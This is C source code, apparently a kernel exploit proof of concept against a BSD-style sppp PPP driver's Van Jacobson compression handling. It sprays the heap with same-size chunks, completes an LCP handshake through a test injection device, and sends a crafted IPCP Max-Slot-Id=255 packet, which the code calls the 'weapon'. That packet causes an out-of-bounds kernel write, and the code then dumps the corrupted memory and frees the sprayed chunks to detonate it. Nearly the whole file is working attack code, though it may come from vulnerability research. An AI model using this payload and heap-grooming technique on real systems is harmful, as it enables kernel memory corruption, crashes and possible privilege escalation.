/* DF-3272: prove the OOB write contents, then detonate via same-class frees */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>

static int fd;
struct sppinj_mem {
	uint64_t	addr;
	uint32_t	len;
	uint32_t	pad;
	uint8_t		data[4096];
};
#define SPPINJ_GETMEM		_IOWR('j', 1, struct sppinj_mem)
#define SPPINJ_SPRAY		_IO('j', 2)
#define SPPINJ_UNSPRAY		_IO('j', 3)
#define SPPINJ_GETCOMP		_IOR('j', 4, uint64_t)

static uint64_t comp;

static int
rx1(unsigned char *buf, int max) { return read(fd, buf, max); }

static void
dump(uint64_t addr, uint32_t len, const char *tag)
{
	struct sppinj_mem m;
	uint32_t i;
	m.addr = addr; m.len = len; m.pad = 0;
	if (ioctl(fd, SPPINJ_GETMEM, &m) < 0) {
		printf("[!] GETMEM: %s\n", strerror(errno));
		return;
	}
	printf("---- %s @ 0x%llx ----\n", tag, (unsigned long long)addr);
	for (i = 0; i < len; i += 16) {
		int j;
		printf("%06llx: ", (unsigned long long)(addr + i));
		for (j = 0; j < 16 && i + j < len; j++)
			printf("%02x ", m.data[i + j]);
		printf("\n");
	}
}

static int
last_confreq_id(void)
{
	unsigned char b[2048];
	int n, id = -1;
	for (;;) {
		n = rx1(b, sizeof(b));
		if (n < 0) break;
		if (n >= 8 && b[2] == 0xc0 && b[3] == 0x21 && b[4] == 0x01)
			id = b[5];
	}
	return id;
}

int main(void)
{
	unsigned char b[2048];
	int i, id, armed = 0, tries;
	setbuf(stdout, NULL);
	fd = open("/dev/spppinj0", O_RDWR | O_NONBLOCK);
	if (fd < 0) { perror("open"); exit(1); }

	if (ioctl(fd, SPPINJ_GETCOMP, &comp) < 0) { perror("GETCOMP"); exit(1); }
	printf("[*] sp->pp_comp = 0x%llx, sizeof=4656\n", (unsigned long long)comp);

	/* fill the slcompress size class around comp */
	if (ioctl(fd, SPPINJ_SPRAY) < 0) perror("SPRAY");
	printf("[*] sprayed 64 x 4656-byte chunks (same size class)\n");

	dump(comp + 3900, 128, "BEFORE weapon: rstate[10..] tail (expect zeros)");

	/* bring spp0 up -- in-process, same as ifconfig(8) */
	{
		int s, rc;
		struct ifreq ifr;
		memset(&ifr, 0, sizeof(ifr));
		strlcpy(ifr.ifr_name, "spp0", IFNAMSIZ);
		s = socket(AF_INET, SOCK_DGRAM, 0);
		rc = ioctl(s, SIOCGIFFLAGS, &ifr);
		printf("[*] SIOCGIFFLAGS rc=%d flags=0x%x\n", rc, ifr.ifr_flags);
		ifr.ifr_flags |= IFF_UP;
		rc = ioctl(s, SIOCSIFFLAGS, &ifr);
		printf("[*] SIOCSIFFLAGS(up) rc=%d\n", rc);
		close(s);
	}

	/* LCP handshake with re-sync (30s window) */
	for (tries = 0; tries < 100 && !armed; tries++) {
		unsigned char a[8]  = {0xff,0x03,0xc0,0x21,0x02,0,0x00,0x04};
		unsigned char q[14] = {0xff,0x03,0xc0,0x21,0x01,0x07,0x00,0x0a,
				       0x05,0x06,0xde,0xad,0xbe,0xef};
		int n;
		usleep(300000);
		id = last_confreq_id();
		if (id < 0) { printf("[.] waiting for CONF-REQ (%d)\n", tries); continue; }
		printf("[.] try %d: ACK id=%d\n", tries, id);
		a[5] = id;
		write(fd, a, 8);
		write(fd, q, 14);
		usleep(150000);
		for (;;) {
			n = rx1(b, sizeof(b));
			if (n < 0) break;
			if (n == 14 && b[2] == 0xc0 && b[3] == 0x21 &&
			    b[4] == 0x02 && b[5] == 0x07) { armed = 1; break; }
		}
	}
	if (!armed) { printf("[!] handshake failed\n"); exit(1); }
	printf("[+] LCP OPENED\n");

	/* weapon */
	{
		unsigned char f[14] = {0xff,0x03,0x80,0x21,0x01,0x09,0x00,0x0a,
				       0x02,0x06,0x00,0x2d,0xff,0x01};
		printf(">>> WEAPON: IPCP VJ Max-Slot-Id=255\n");
		write(fd, f, 14);
	}
	usleep(200000);

	/* show what got written: stride-144 cstate entries with (ptr, id=i) */
	dump(comp + 3900, 160, "AFTER weapon: rstate tail + past-end");
	dump(comp + 4640, 64, "AFTER weapon: allocation end +0..64 (OOB)");

	printf("[*] freeing sprayed chunks (touches corrupted zones)\n");
	ioctl(fd, SPPINJ_UNSPRAY);
	printf("[*] unspray done, alive\n");
	for (i = 0; i < 50000; i++) {
		int s = socket(2, 1, 6);
		if (s >= 0) close(s);
	}
	printf("[!] survived\n");
	return 0;
}
